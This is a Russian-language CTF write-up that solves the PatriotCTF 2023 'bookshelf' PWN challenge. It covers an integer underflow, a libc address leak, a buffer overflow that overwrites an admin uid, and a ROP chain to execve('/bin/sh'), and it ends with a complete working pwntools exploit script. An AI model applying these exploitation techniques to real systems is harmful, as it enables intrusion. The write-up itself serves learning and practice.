Экзамен для начинающих. PWN. bookshelf PatriotCTF 2023

fca816e7eaecef2d94323c917fc6d605.png

Недавно прошел PatriotCTF 2023. Таски хорошие особенно для начинающих. На нем можно быть проверить свои навыки в разделах:

  1. PWN

  2. Reverse

  3. Forensics

  4. Crypto

  5. Web

  6. Stego

  7. OSINT

Зацепил меня таск по разделу PWN. Чтобы его решить необходимы знания в:

  1. Реверсе

  2. ROP-цепочках

  3. Базовых понятиях интов

  4. Знать что такое переполнение буффера

Это экзамен для начинающих, потому что в таске включены все базовые уязвимости и атаки, которые должен знать PWN-ер.

Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий

037905914fc5346967f7b9d7234290a3.png

Изучаем бинарный файл

Первичный анализ, по крайней мере у меня, начиинается так:

  1. file

  2. strings

  3. checksec

  4. xxd binary | grep "UPX"

  5. seccomp-tools

Вручную прописывать это не буду, потому что все это реализовано в программе J0llyTr0LLz.

Главное окно выглядит так:

199b0bf339d73747a1ae18bf6057691d.png

Горячей клавишей Ctrl+O откроем файл и посмотрим, что он из себя представляет

fa8b6f0df53ae616e6d3607b24b5c21e.png

По readelf в принципе ничего такого не видно. Просто эльфарь 64 разрядности и порядком байт little-end.

В file тоже ничего удивительного

aee432df14a4a517fba6679a68e78a18.jpg

Нет канарейки, отключена рандомизация адресов и бинарь не упакован UPX

277aa84397066c9583efcc576400f583.png

Проверим, есть ли гаджеты по типу pop rax; ret или pop rsi; ret. Вдруг пригодятся. Ничего не нашли…

929e5e06546f98eca1a285e005d23ef3.png

Теперь чекнем стоки нажав комбинацию Ctrl+S.

861666822bc19f27af99df01ae942c45.png

Проверю, есть ли seccomp. Они, обычно, отображаются в строках

b5292fe20202ed54648b518f9d4708cf.png

Ничего особенного не нашли. Пойдем смотреть сервис.

Играем с сервисом

В главном окне отображается меню, в котором можно:

  1. Написать книгу

  2. Купить книгу

  3. Написать спецкнигу, только нужно быть админом

  4. Выйти

Попробуем купить книгу:

fe77de660aee61fef314311f0da1908f.png

Ладно. Купили книгу и, наверное, осталось 75 баксов и тратить больше не можем. Так же нас просят какое-то пожертвование. Пока оставим этот пункт.

Попробуем написать книгу. Видимо, перед нами выбор или написать книгу или создать аудиокнигу

4255524be123e9e9ce80b11a849ef462.png

Ответим, например, нет (N) и отправим какую-нибудь строчку

0688a223cba5c96ed0c340433fce323f.png

После игры с сервисом можно выделить только то, что необходимо попасть в пункт номер 3 — Write a special book (ADMINS ONLY) (0). Туда и будем стремиться попасть.

Реверс

Реверс программы будет осуществляться в IDA Pro. Начну реверс с функции, в которой покупаем книги. Все блоки похожи. Хватает денег — вычитается сумма, иначе сообщение You don't have enough cash!.

f2f385f2b5e4289c2a231701a42657ff.png

Посмотрим на глобальную переменную cash.

5cff1c3c85f15ee3c98796f58aa6f9d1.png

Видно, что это int. Может это unsigned int? Просто, если рассуждать именно так, то получается следующее: когда cash меньше 0, в нем будем содержаться самое большое значение

если cash < 0, то cash = 0xFFFFFFFF 0xFFFFFFFF = 4294967295

Вопрос теперь другой. Как дойти до этого? Насколько помню, была речь о пожертвовании. Прореверсим этот кусок кода

41f1a018cdbf3eb02520221dbcc6d4d0.png

И тут можно увидеть, что нет проверки cash. Всегда будет отниматься 10 поинтов при пожертвовании. Проверим теперь теорию с беззнаковым целочисленным. Сразу попробуем автоматизировать это

for i in range(8):
io.recvuntil(b'4) Check out')
io.sendline(b'2')
io.sendline(b'2')
io.sendline(b'y')

Посмотрим результат выполнения

f4127da0b68e86fe611de9ca973ab4c5.png

Настал момент, когда ушли в минус. Проверим баланс

fd40271fac340d6e51222b065b794a48.png

Теория сработала! Это была переменная с типом данных — unsigned int. Теперь купим книжку

18607c5123ccdf123fc6e4ffb68d6075.png

Как и ожидалось — получили утечку puts() из libc. Это означает, что можно получить базу libc, и дальше делать что угодно угодно.

База считается примерно так:

LEAK_FUNC_ADDR = LIBC_BASE + OFFSET

Значит, ищем смещение puts() в библиотеке и вычитаем это значение из утечки.

С этим разобрались. Теперь посмотрим, как получить доступ к админ панеле. Перед вызовом функции передается аргумент. Сразу переименовал его в uid

7a3f9fa5b8b9d2beb6659795acbddc73.png

По умолчанию он равен 0

9db152dea6cc28ca90b5eb2b8ebd05c1.png

Однако, память утсроена так, что сначала идет какой-то буффер, потом выбор пункта меню и только после этого всего — uid. По смещениям можно сделать такие выводы:

  1. buf размером 43 байта

  2. choose размером 1 байт

  3. uid размером 4 байта

Значит нужно ввести как минимум 46 символов для переполнения.

3c240bf910a3c1794a4516345829612e.png

То есть, если переполнить буффер, то можно перезаписать uid. Теперь вопрос: как переполнить буффер?

По перекрестным ссылкам можно найти это место в главной функции

226d19527827b8ea932f2fa20c8d5fe2.png6c83ef378b69a71e712de9314f650ea0.png

Получается, что аргумент функции writeBook() — указатель на буффер.

В функции он передается еще одному массиву

a0c3fa11988794dd4b31f4eb4d4ab482.png

Этот массив, [rbp+s] используется в самом конце. В него или добавляется вводимая нами строка или копируется

45b7258d878fa803294f2314bf59e39b.png

Ввод [rbp+src] ограничен 40 символами

701d464b34dde835ace3ac266bfc8763.png

И как тогда переполнить? Ответ прост. Нужно лишь пролистать листинг чуть выше

68b84ff15747d1869bbfa798151a1013.png

Здесь можно увидеть следующее. Если нажимаем y, то в массив [rbp+s] добавляется строка длиной 6 — (AB):

Картина будет следующая:

s = '(AB): '
s += 'A' * 40
len(s) = 46

После этого массив будет равен 46 символам, как нам и надо. Тут даже выдумывать ничего не нужно. Банально отправляем 40 символов и на вопрос про аудиокнигу отвечаем положительно

a7a6621b02ab798f3191c559f0c0a6b2.png

Как видим, uid изменился на значение 65, что по ASCII таблице означает A.

Теперь заглянем в админскую функцию

fc09b133f82352cdff4cbbde79820016.png

Просят что-то ввести. Просто попробуем отправить 256 каких-нибудь символов

e2b4f0707e3dae14ddf82d1f91be3492.png

Программа упала! Значит это и есть уязвимое место. Настало время писать эксплойт

Пишем эксплойт

Взглянув на память в IDA, можно понять, что для переполнения достаточно 64 символа. Поэтому размер мусорных данных для перполнения — 56 байтов, а все остальное полезная нагрузка.

Ранее была вычислена база libc, поэтому все функции, строки, гаджеты будем искать в приложенном файле — libc.so.6

Чтобы получить шелл, нужно выполнить такой системный вызов

execve("/bin/sh",0,0)

Посмотрим в J0llyTr0LLz таблицу системных вызовов, нажав на кнопку F1

82e38fb9a986f2ae44fa892faf2aa512.png

  1. rax = 0x3b

  2. rdi = /bin/sh

  3. rsi = 0

  4. rdi = 0

Нужно найти 4 гаджета по типу

pop rax/rdi/rsi/rdx

ret

Со строкой /bin/sh проблем нет, потому что в любой библиотеке libc эта строка уже вшита. С syscall такая же история.

После поиска получил такие наброски:

SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)

Теперь осталось составить rop-цепочку

payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC

и отправить это программе

io.recvuntil(b'4) Check out')
io.sendline(b'3')
io.sendline(junk + payload)

Теперь складываем все шаги и получаем такой эксплойт:

from pwn import *

exe = context.binary = ELF('./bookshelf')

def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.EDB:
return process(['edb','--run',exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

def live_richy():
io.sendline(b'2')
io.sendline(b'2')
io.sendline(b'y')

def leak_plt_puts_func():
tmp = str(io.recvuntil(b'rested'))
tmp = tmp[2:len(tmp)-1]
tmp = tmp.split("\n")[0].split(" ")
ret_val = int(tmp[len(tmp)-2][2:],16)
return ret_val

def get_admin():
junk = b'A'*40
io.recvuntil(b'3) Write a special book (ADMINS ONLY) (0)')
io.sendline(b'1')
io.recvline()
io.sendline(b'y')
io.sendline(junk)

def get_shell(LIBC_BASE):
SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)
junk = b'A' * 56
payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC

io.recvuntil(b'4) Check out')
io.sendline(b'3')
io.sendline(junk + payload)

io = start()

leak_plt_puts = 0
for i in range(8):
io.recvuntil(b'4) Check out')
live_richy()

io.sendline(b'2')
io.sendline(b'3')

leak_plt_puts = leak_plt_puts_func()
LIBC_BASE = leak_plt_puts - 0x000000000080ED0
log.success('leak_plt_puts: 0x{:x}'.format(leak_plt_puts))
log.success('LIBC_BASE: 0x{:x}'.format(LIBC_BASE))
io.sendline()

get_admin()
get_shell(LIBC_BASE)

io.interactive()

После запуска получаем шелл

bb8d02c203ab3d4921c2e721fa5ab905.png

© Habrahabr.ru